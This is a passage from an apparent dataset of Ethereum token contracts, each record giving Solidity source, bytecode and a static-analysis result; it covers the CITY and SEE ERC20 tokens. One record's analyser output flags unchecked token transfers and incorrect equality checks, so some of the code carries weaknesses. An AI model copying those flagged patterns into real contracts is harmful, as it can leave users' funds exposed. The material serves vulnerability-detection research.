179055506004339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600082825401925050819055505b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600f5482029050919050565b600047905090565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f204554482062616c616e636521000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611676573d6000803e3d6000fd5b5050565b600a6020528060005260406000206000915090505481565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e6f20746f6b656e73210000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061012c4201600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118c157600080fd5b505af11580156118d5573d6000803e3d6000fd5b505050506040513d60208110156118eb57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b2f57600080fd5b505afa158015611b43573d6000803e3d6000fd5b505050506040513d6020811015611b5957600080fd5b8101908080519060200190929190505050905090565b60086020528060005260406000206000915090505481565b60056020528060005260406000206000915054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915090505481565b60066020528060005260406000206000915090505481565b600e5481565b60048181548110611c0a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611db0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f20666565732100000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211611e64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5761697420666f7220636c69656e74207769746864726177616c2e000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f9657600080fd5b505af1158015611faa573d6000803e3d6000fd5b505050506040513d6020811015611fc057600080fd5b810190808051906020019092919050505050505056fe42616c616e6365206d75737420657175616c2070757263686173652065746820616d6f756e742e507572636861736520616d6f756e742062656c6f77206d696e20746f6b656e7321a26469706673582212202bce01bc4c059409785abff8e6ef009fe9068cb4a6051c2776ab72b16fa551d564736f6c63430006010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,792
0xed66d63dd5b63874a5d4dc6a753236991e67324e
pragma solidity ^0.4.18; /** * @title Smart City Token https://www.smartcitycoin.io * @dev ERC20 standard compliant / https://github.com/ethereum/EIPs/issues/20 / * @dev Amount not sold during Crowdsale is burned */ contract SmartCityToken { using SafeMath for uint256; address public owner; // address of Token Owner address public crowdsale; // address of Crowdsale contract string constant public standard = "ERC20"; // token standard string constant public name = "Smart City"; // token name string constant public symbol = "CITY"; // token symbol uint256 constant public decimals = 5; // 1 CITY = 100000 tokens uint256 public totalSupply = 252862966307692; // total token provision uint256 constant public amountForSale = 164360928100000; // amount that might be sold during ICO - 65% of total token supply uint256 constant public amountReserved = 88502038207692; // amount reserved for founders / loyalty / bounties / etc. - 35% of total token supply uint256 constant public amountLocked = 61951426745384; // the amount of tokens Owner cannot spend within first 2 years after Crowdsale - 70% of the reserved amount uint256 public startTime; // from this time on transfer and transferFrom functions are available to anyone except of token Owner uint256 public unlockOwnerDate; // from this time on transfer and transferFrom functions are available to token Owner mapping(address => uint256) public balances; // balances array mapping(address => mapping(address => uint256)) public allowances; // allowances array bool public burned; // indicates whether excess tokens have already been burned event Transfer(address indexed from, address indexed to, uint256 value); // Transfer event event Approval(address indexed _owner, address indexed spender, uint256 value); // Approval event event Burned(uint256 amount); // Burned event modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } /** * @dev Contract initialization * @param _ownerAddress address Token owner address * @param _startTime uint256 Crowdsale end time * */ function SmartCityToken(address _ownerAddress, uint256 _startTime) public { owner = _ownerAddress; // token Owner startTime = _startTime; // token Start Time unlockOwnerDate = startTime + 2 years; balances[owner] = totalSupply; // all tokens are initially allocated to token owner } /** * @dev Transfers token for a specified address * @param _to address The address to transfer to * @param _value uint256 The amount to be transferred */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns(bool success) { require(now >= startTime); require(_to != address(0)); require(_value <= balances[msg.sender]); if (msg.sender == owner && now < unlockOwnerDate) require(balances[msg.sender].sub(_value) >= amountLocked); balances[msg.sender] = balances[msg.sender].sub(_value); // subtract requested amount from the sender address balances[_to] = balances[_to].add(_value); // send requested amount to the target address Transfer(msg.sender, _to, _value); // trigger Transfer event return true; } /** * @dev Transfers tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns(bool success) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowances[_from][msg.sender]); if (now < startTime) require(_from == owner); if (_from == owner && now < unlockOwnerDate) require(balances[_from].sub(_value) >= amountLocked); uint256 _allowance = allowances[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); // subtract requested amount from the sender address balances[_to] = balances[_to].add(_value); // send requested amount to the target address allowances[_from][msg.sender] = _allowance.sub(_value); // reduce sender allowance by transferred amount Transfer(_from, _to, _value); // trigger Transfer event return true; } /** * @dev Gets the balance of the specified address. * @param _addr address The address to query the balance of. * @return uint256 representing the amount owned by the passed address. */ function balanceOf(address _addr) public view returns (uint256 balance) { return balances[_addr]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender address The address which will spend the funds * @param _value uint256 The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns(bool success) { return _approve(_spender, _value); } /** * @dev Workaround for vulnerability described here: https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM */ function _approve(address _spender, uint256 _value) internal returns(bool success) { require((_value == 0) || (allowances[msg.sender][_spender] == 0)); allowances[msg.sender][_spender] = _value; // Set spender allowance Approval(msg.sender, _spender, _value); // Trigger Approval event return true; } /** * @dev Burns all the tokens which has not been sold during ICO */ function burn() public { if (!burned && now > startTime) { uint256 diff = balances[owner].sub(amountReserved); // Get the amount of unsold tokens balances[owner] = amountReserved; totalSupply = totalSupply.sub(diff); // Reduce total provision number burned = true; Burned(diff); // Trigger Burned event } } /** * @dev Sets Corwdsale contract address & allowance * @param _crowdsaleAddress address The address of the Crowdsale contract */ function setCrowdsale(address _crowdsaleAddress) public { require(msg.sender == owner); require(crowdsale == address(0)); crowdsale = _crowdsaleAddress; assert(_approve(crowdsale, amountForSale)); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * CITY 2.0 token by www.SmartCityCoin.io * * .ossssss: `+sssss` * ` +ssssss+` `.://++++++//:.` .osssss+ * /sssssssssssssssssssssssss+ssssso` * -sssssssssssssssssssssssssssss+` * .+sssssssss+:--....--:/ossssssss+. * `/ssssssssssso` .sssssssssss/` * .ossssss+sssssss- :sssss+:ossssso. * `ossssso. .ossssss: `/sssss/ `/ssssss. * ossssso` `+ssssss+` .osssss: /ssssss` * :ssssss` /sssssso:ssssso. +o+/:-` * osssss+ -sssssssssss+` * ssssss: .ossssssss/ * osssss/ `+ssssss- * /ssssso :ssssss * .ssssss- :ssssss * :ssssss- :ssssss ` * /ssssss/` :ssssss `/s+:` * :sssssso:. :ssssss ./ssssss+` * .+ssssssso/-.`:ssssss``.-/osssssss+. * .+ssssssssssssssssssssssssssss+- * `:+ssssssssssssssssssssss+:` * `.:+osssssssssssso+:.` * `/ssssss.` * :ssssss */
0x60606040526004361061011c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630204d0f8811461012157806306fdde0314610146578063095ea7b3146101d057806318160ddd1461020657806323b872dd1461021957806327e235e314610241578063313ce5671461026057806344df8e7014610273578063483a20b21461028857806355b6ed5c146102a75780635a3b7e42146102cc5780636c6c7e05146102df57806370a08231146102f257806373f425611461031157806378e97925146103245780638473e55f146103375780638da5cb5b1461034a57806395d89b41146103795780639c1e03a01461038c578063a9059cbb1461039f578063ea0d8da4146103c1575b600080fd5b341561012c57600080fd5b6101346103d4565b60405190815260200160405180910390f35b341561015157600080fd5b6101596103da565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019557808201518382015260200161017d565b50505050905090810190601f1680156101c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101db57600080fd5b6101f2600160a060020a0360043516602435610411565b604051901515815260200160405180910390f35b341561021157600080fd5b610134610432565b341561022457600080fd5b6101f2600160a060020a0360043581169060243516604435610438565b341561024c57600080fd5b610134600160a060020a036004351661064d565b341561026b57600080fd5b61013461065f565b341561027e57600080fd5b610286610664565b005b341561029357600080fd5b610286600160a060020a036004351661072d565b34156102b257600080fd5b610134600160a060020a03600435811690602435166107a5565b34156102d757600080fd5b6101596107c2565b34156102ea57600080fd5b6101346107f9565b34156102fd57600080fd5b610134600160a060020a0360043516610803565b341561031c57600080fd5b6101f261081e565b341561032f57600080fd5b610134610827565b341561034257600080fd5b61013461082d565b341561035557600080fd5b61035d610837565b604051600160a060020a03909116815260200160405180910390f35b341561038457600080fd5b610159610846565b341561039757600080fd5b61035d61087d565b34156103aa57600080fd5b6101f2600160a060020a036004351660243561088c565b34156103cc57600080fd5b610134610a04565b60045481565b60408051908101604052600a81527f536d617274204369747900000000000000000000000000000000000000000000602082015281565b60006040604436101561042057fe5b61042a8484610a0e565b949350505050565b60025481565b6000806060606436101561044857fe5b600160a060020a038516151561045d57600080fd5b600160a060020a03861660009081526005602052604090205484111561048257600080fd5b600160a060020a03808716600090815260066020908152604080832033909416835292905220548411156104b557600080fd5b6003544210156104d957600054600160a060020a038781169116146104d957600080fd5b600054600160a060020a0387811691161480156104f7575060045442105b1561053857600160a060020a03861660009081526005602052604090205465385830c8d4289061052d908663ffffffff610ab416565b101561053857600080fd5b600160a060020a03808716600081815260066020908152604080832033909516835293815283822054928252600590529190912054909250610580908563ffffffff610ab416565b600160a060020a0380881660009081526005602052604080822093909355908716815220546105b5908563ffffffff610ac616565b600160a060020a0386166000908152600560205260409020556105de828563ffffffff610ab416565b600160a060020a03808816600081815260066020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a350600195945050505050565b60056020526000908152604090205481565b600581565b60075460009060ff1615801561067b575060035442115b1561072a5760008054600160a060020a03168152600560205260409020546106af9065507dfc8c9ccc63ffffffff610ab416565b60008054600160a060020a0316815260056020526040902065507dfc8c9ccc90556002549091506106e6908263ffffffff610ab416565b6002556007805460ff191660011790557fd83c63197e8e676d80ab0122beba9a9d20f3828839e9a1d6fe81d242e9cd7e6e8160405190815260200160405180910390a15b50565b60005433600160a060020a0390811691161461074857600080fd5b600154600160a060020a03161561075e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091179182905561079d911665957c42bbfea0610a0e565b151561072a57fe5b600660209081526000928352604080842090915290825290205481565b60408051908101604052600581527f4552433230000000000000000000000000000000000000000000000000000000602082015281565b65385830c8d42881565b600160a060020a031660009081526005602052604090205490565b60075460ff1681565b60035481565b65957c42bbfea081565b600054600160a060020a031681565b60408051908101604052600481527f4349545900000000000000000000000000000000000000000000000000000000602082015281565b600154600160a060020a031681565b60006040604436101561089b57fe5b6003544210156108aa57600080fd5b600160a060020a03841615156108bf57600080fd5b600160a060020a0333166000908152600560205260409020548311156108e457600080fd5b60005433600160a060020a039081169116148015610903575060045442105b1561094457600160a060020a03331660009081526005602052604090205465385830c8d42890610939908563ffffffff610ab416565b101561094457600080fd5b600160a060020a03331660009081526005602052604090205461096d908463ffffffff610ab416565b600160a060020a0333811660009081526005602052604080822093909355908616815220546109a2908463ffffffff610ac616565b600160a060020a0380861660008181526005602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35060019392505050565b65507dfc8c9ccc81565b6000811580610a405750600160a060020a03338116600090815260066020908152604080832093871683529290522054155b1515610a4b57600080fd5b600160a060020a03338116600081815260066020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600082821115610ac057fe5b50900390565b600082820183811015610ad557fe5b93925050505600a165627a7a72305820660146be491f5afc835e54dab56bbd484003a4f9eac648b41f428c7531aa3b460029
{"success": true, "error": null, "results": {}}
2,793
0x98da3b3da368a23693eb609d5ce2d779896a31b5
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ISStop is Ownable { bool public stopped; modifier stoppable { assert (!stopped); _; } function stop() public onlyOwner { stopped = true; } function start() public onlyOwner { stopped = false; } } contract InseeCoin is ISStop, StandardToken{ string public name = "Insee Coin"; uint8 public decimals = 18; string public symbol = "SEE"; string public version = "v0.1"; /// initial amount of InseeCoin uint256 public initialAmount = (10 ** 10) * (10 ** 18); event Destroy(address from, uint value); function InseeCoin() public { balances[msg.sender] = initialAmount; // Give the creator all initial balances is defined in StandardToken.sol totalSupply_ = initialAmount; // Update total supply, totalSupply is defined in Tocken.sol } function transfer(address dst, uint wad) public stoppable returns (bool) { return super.transfer(dst, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { return super.transferFrom(src, dst, wad); } function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function destroy(uint256 _amount) external onlyOwner stoppable returns (bool success){ require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); emit Destroy(msg.sender, _amount); return true; } function setName(string name_) public onlyOwner{ name = name_; } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c57806307da68f51461019a578063095ea7b3146101af57806318160ddd1461020957806323b872dd14610232578063313ce567146102ab57806354fd4d50146102da578063661884631461036857806370a08231146103c257806375f12b211461040f5780638da5cb5b1461043c57806395d89b41146104915780639d1187701461051f578063a9059cbb1461055a578063be9a6555146105b4578063c47f0027146105c9578063d73dd62314610626578063dd62ed3e14610680578063fc1ed437146106ec575b600080fd5b341561011757600080fd5b61011f610715565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015f578082015181840152602081019050610144565b50505050905090810190601f16801561018c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a557600080fd5b6101ad6107b3565b005b34156101ba57600080fd5b6101ef600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082b565b604051808215151515815260200191505060405180910390f35b341561021457600080fd5b61021c610857565b6040518082815260200191505060405180910390f35b341561023d57600080fd5b610291600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610861565b604051808215151515815260200191505060405180910390f35b34156102b657600080fd5b6102be61088f565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e557600080fd5b6102ed6108a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032d578082015181840152602081019050610312565b50505050905090810190601f16801561035a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037357600080fd5b6103a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610940565b604051808215151515815260200191505060405180910390f35b34156103cd57600080fd5b6103f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bd1565b6040518082815260200191505060405180910390f35b341561041a57600080fd5b610422610c1a565b604051808215151515815260200191505060405180910390f35b341561044757600080fd5b61044f610c2d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049c57600080fd5b6104a4610c52565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e45780820151818401526020810190506104c9565b50505050905090810190601f1680156105115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561052a57600080fd5b6105406004808035906020019091905050610cf0565b604051808215151515815260200191505060405180910390f35b341561056557600080fd5b61059a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed8565b604051808215151515815260200191505060405180910390f35b34156105bf57600080fd5b6105c7610f04565b005b34156105d457600080fd5b610624600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610f7b565b005b341561063157600080fd5b610666600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ff0565b604051808215151515815260200191505060405180910390f35b341561068b57600080fd5b6106d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111ec565b6040518082815260200191505060405180910390f35b34156106f757600080fd5b6106ff611273565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107ab5780601f10610780576101008083540402835291602001916107ab565b820191906000526020600020905b81548152906001019060200180831161078e57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080e57600080fd5b6001600060146101000a81548160ff021916908315150217905550565b60008060149054906101000a900460ff1615151561084557fe5b61084f8383611279565b905092915050565b6000600254905090565b60008060149054906101000a900460ff1615151561087b57fe5b61088684848461136b565b90509392505050565b600560009054906101000a900460ff1681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109385780601f1061090d57610100808354040283529160200191610938565b820191906000526020600020905b81548152906001019060200180831161091b57829003601f168201915b505050505081565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a51576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae5565b610a64838261172a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce85780601f10610cbd57610100808354040283529160200191610ce8565b820191906000526020600020905b815481529060010190602001808311610ccb57829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4d57600080fd5b600060149054906101000a900460ff16151515610d6657fe5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610db457600080fd5b610e0682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e5e8260025461172a90919063ffffffff16565b6002819055507f81325e2a6c442af9d36e4ee9697f38d5f4bf0837ade0f6c411c6a40af7c057ee3383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a160019050919050565b60008060149054906101000a900460ff16151515610ef257fe5b610efc8383611743565b905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff